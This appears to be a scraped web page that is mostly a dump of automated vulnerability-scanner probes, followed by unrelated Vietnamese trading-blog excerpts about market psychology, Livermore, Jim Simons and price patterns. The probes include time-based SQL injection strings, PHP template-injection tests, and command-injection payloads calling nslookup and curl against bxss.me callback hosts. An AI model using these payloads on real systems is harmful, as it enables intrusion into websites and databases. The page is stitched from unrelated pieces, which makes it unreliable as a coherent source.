555'&&sleep(27*1000)*nmetkp&&'
{php}print(md5(31337));{/php}
tes****@example.com
555
;(nslookup -q=cname hitncvesjcnjn32591.bxss.me||curl hitncvesjcnjn32591.bxss.me)|(nslookup -q=cname hitncvesjcnjn32591.bxss.me||curl hitncvesjcnjn32591.bxss.me)&(nslookup -q=cname hitncvesjcnjn32591.bxss.me||curl hitncvesjcnjn32591.bxss.me)
tes****@example.com
555
RDFYjolf
tes****@example.com
555"&&sleep(27*1000)*mbwsfe&&"
[php]print(md5(31337));[/php]
tes****@example.com
555
RDFYjolf
tes****@example.com
555'||sleep(27*1000)*cqpuji||'
|(nslookup${IFS}-q${IFS}cname${IFS}hitziifyihvmx8bdd0.bxss.me||curl${IFS}hitziifyihvmx8bdd0.bxss.me)
tes****@example.com
555
RDFYjolf
tes****@example.com
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitvxdimxuxedc4c75.bxss.me||curl${IFS}hitvxdimxuxedc4c75.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvxdimxuxedc4c75.bxss.me||curl${IFS}hitvxdimxuxedc4c75.bxss.me)&`'
tes****@example.com
555
RDFYjolf
tes****@example.com
555"||sleep(27*1000)*vecqmd||"
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
'"()
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com'&&sleep(27*1000)*iknvzd&&'
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com"&&sleep(27*1000)*nweaxe&&"
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com'||sleep(27*1000)*bgwtnt||'
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com"||sleep(27*1000)*cttlmh||"
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
'"()
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf'&&sleep(27*1000)*yzmpyl&&'
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf"&&sleep(27*1000)*srqqjn&&"
tes****@example.com
555
RDFYjolf'||sleep(27*1000)*gozrwl||'
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf"||sleep(27*1000)*tdcgzr||"
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555*if(now()=sysdate(),sleep(15),0)
RDFYjolf
tes****@example.com
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
RDFYjolf
tes****@example.com
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
RDFYjolf
tes****@example.com
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RDFYjolf
tes****@example.com
555-1; waitfor delay '0:0:15' --
RDFYjolf
tes****@example.com
555-1); waitfor delay '0:0:15' --
RDFYjolf
tes****@example.com
555-1 waitfor delay '0:0:15' --
RDFYjolf
tes****@example.com
555rYWX4Obl'; waitfor delay '0:0:15' --
RDFYjolf
tes****@example.com
555-1 OR 31=(SELECT 31 FROM PG_SLEEP(15))--
RDFYjolf
tes****@example.com
555-1) OR 863=(SELECT 863 FROM PG_SLEEP(15))--
RDFYjolf
tes****@example.com
555-1)) OR 790=(SELECT 790 FROM PG_SLEEP(15))--
RDFYjolf
tes****@example.com
555oLZutR2q' OR 184=(SELECT 184 FROM PG_SLEEP(15))--
RDFYjolf
tes****@example.com
555gGhLb271') OR 108=(SELECT 108 FROM PG_SLEEP(15))--
RDFYjolf
tes****@example.com
5551x4NRC2n')) OR 351=(SELECT 351 FROM PG_SLEEP(15))--
RDFYjolf
tes****@example.com
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
RDFYjolf
tes****@example.com
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RDFYjolf
tes****@example.com
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555'"
RDFYjolf
tes****@example.com
@@WKAL9
RDFYjolf
tes****@example.com
(select 198766*667891)
RDFYjolf
tes****@example.com
(select 198766*667891 from DUAL)
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
if(now()=sysdate(),sleep(15),0)
555
RDFYjolf
tes****@example.com0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
RDFYjolf
tes****@example.com0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
RDFYjolf
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
RDFYjolf
tes****@example.com-1 waitfor delay '0:0:15' --
555
RDFYjolf
tes****@example.com-1 waitfor delay '0:0:30.008' --
555
RDFYjolf
tes****@example.comVCS2wvwf'; waitfor delay '0:0:15' --
555
RDFYjolf
tes****@example.comK9FhCVeV' OR 973=(SELECT 973 FROM PG_SLEEP(15))--
555
RDFYjolf
tes****@example.comkAsug9D3') OR 589=(SELECT 589 FROM PG_SLEEP(15))--
555
RDFYjolf
tes****@example.comskKjrhJK')) OR 14=(SELECT 14 FROM PG_SLEEP(15))--
555
RDFYjolf
tes****@example.com'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
RDFYjolf
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com'"
555
RDFYjolf
@
555
RDFYjolf
(select 198766*667891)
555
RDFYjolf
(select 198766*667891 from DUAL)
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
if(now()=sysdate(),sleep(15),0)
tes****@example.com
555
RDFYjolf0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
tes****@example.com
555
RDFYjolf0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
tes****@example.com
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
tes****@example.com
555
RDFYjolf-1 waitfor delay '0:0:15' --
tes****@example.com
555
RDFYjolfvFosFHSF'; waitfor delay '0:0:15' --
tes****@example.com
555
RDFYjolfEkvpWvtY' OR 67=(SELECT 67 FROM PG_SLEEP(15))--
tes****@example.com
555
RDFYjolfS9G1zUz4') OR 790=(SELECT 790 FROM PG_SLEEP(15))--
tes****@example.com
555
RDFYjolfGy3PsdTl')) OR 668=(SELECT 668 FROM PG_SLEEP(15))--
tes****@example.com
555
RDFYjolf'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
tes****@example.com
555
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf'"
tes****@example.com
555
@@6AC3w
tes****@example.com
555
(select 198766*667891)
tes****@example.com
555
(select 198766*667891 from DUAL)
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
Trong giao dịch, rất nhiều người dành phần lớn thời gian để học cách đọc biểu đồ, học mô hình nến, học RSI, MACD, Bollinger Bands hay Fibonacci. Những thứ đó đều hữu ích. Nhưng sau một thời gian đủ dài, gần như ai cũng sẽ gặp cùng một vấn đề: biết tín hiệu nhưng vẫn vào sai lệnh, thấy mô hình đúng mà kết quả vẫn không như kỳ vọng. Lý do nằm ở chỗ thị trường không vận hành chỉ bằng kỹ thuật. Thị trường vận hành bằng kỳ vọng, định vị dòng tiền và cảm xúc tập thể. Nói cách khác, nếu chỉ đọc chart mà không đọc được tâm lý thị trường, chúng ta mới chỉ nhìn thấy “hình dạng” của giá, chứ chưa hiểu “động cơ” khiến giá vận động.
Jesse Livermore là một trong những cái tên kinh điển nhất trong lịch sử trading. Điều khiến ông trở thành huyền thoại không chỉ nằm ở những thương vụ lớn, mà nằm ở cách ông quan sát thị trường và đúc kết ra các nguyên tắc giao dịch vượt thời gian. Dù thị trường ngày nay đã có thuật toán, dữ liệu lớn, phái sinh, margin, HFT và rất nhiều công cụ hiện đại, những bài học của Livermore vẫn còn nguyên giá trị, bởi bản chất sâu nhất của thị trường chưa từng thay đổi: con người vẫn bị chi phối bởi tham lam, sợ hãi, hy vọng và cái tôi.
Đọc bài review của Steve Burns về cuốn The Man Who Solved the Market: Jim Simons, QM Capital thấy đây không chỉ là câu chuyện về một cá nhân xuất chúng, mà là một cách nhìn rất khác về thị trường tài chính. Jim Simons không bước vào thị trường với tư duy “hôm nay mua mã nào” hay “ngày mai thị trường tăng hay giảm”. Ông bước vào thị trường với niềm tin rằng: trong giá cả có những mẫu hình lặp lại, và nếu có đủ dữ liệu, đủ năng lực toán học, đủ công nghệ và đủ kỷ luật, con người có thể tìm ra lợi thế từ những mẫu hình đó.
Ở Phần 1, chúng ta đã nói về cách hình thành các mô hình giá phổ biến. Sang Phần 2, trọng tâm không còn là “mô hình đó trông như thế nào”, mà là mô hình nào có thể tạo tín hiệu tăng, mô hình nào cảnh báo tín hiệu giảm, và quan trọng hơn là trader nên đọc chúng ra sao trong thực chiến.
Trong phân tích kỹ thuật, mô hình giá không chỉ là những đường kẻ trên biểu đồ. Mỗi mô hình thực chất là một “bản ghi” về tâm lý thị trường: bên mua đang mạnh lên hay yếu đi, bên bán đang phân phối hay mất kiểm soát, dòng tiền đang tích lũy hay rút ra. Khi nhìn một mô hình, điều quan trọng không phải là cố tìm cho giống hình mẫu trong sách, mà là hiểu được câu chuyện cung – cầu đang diễn ra phía sau.
Trong giao dịch tài chính, đặc biệt là ở thị trường chứng khoán Việt Nam và phái sinh VN30, phần lớn trader thường bắt đầu bằng việc tìm kiếm tín hiệu vào lệnh. Họ học các mô hình giá, đường trung bình, RSI, MACD, Bollinger Bands, volume, nến Nhật và rất nhiều chỉ báo khác. Tuy nhiên, vấn đề không nằm ở việc thiếu tín hiệu. Vấn đề lớn hơn là trader không biết tín hiệu nào đáng tin, vào lệnh ở đâu, sai thì thoát ở đâu, và khi nào nên kiên nhẫn chờ giá điều chỉnh thay vì mua đuổi.
Được nghiên cứu và phát triển bởi các chuyên gia từ QMTrade và cộng đồng nhà đầu tư chuyên nghiệp.
Truy cập ngay!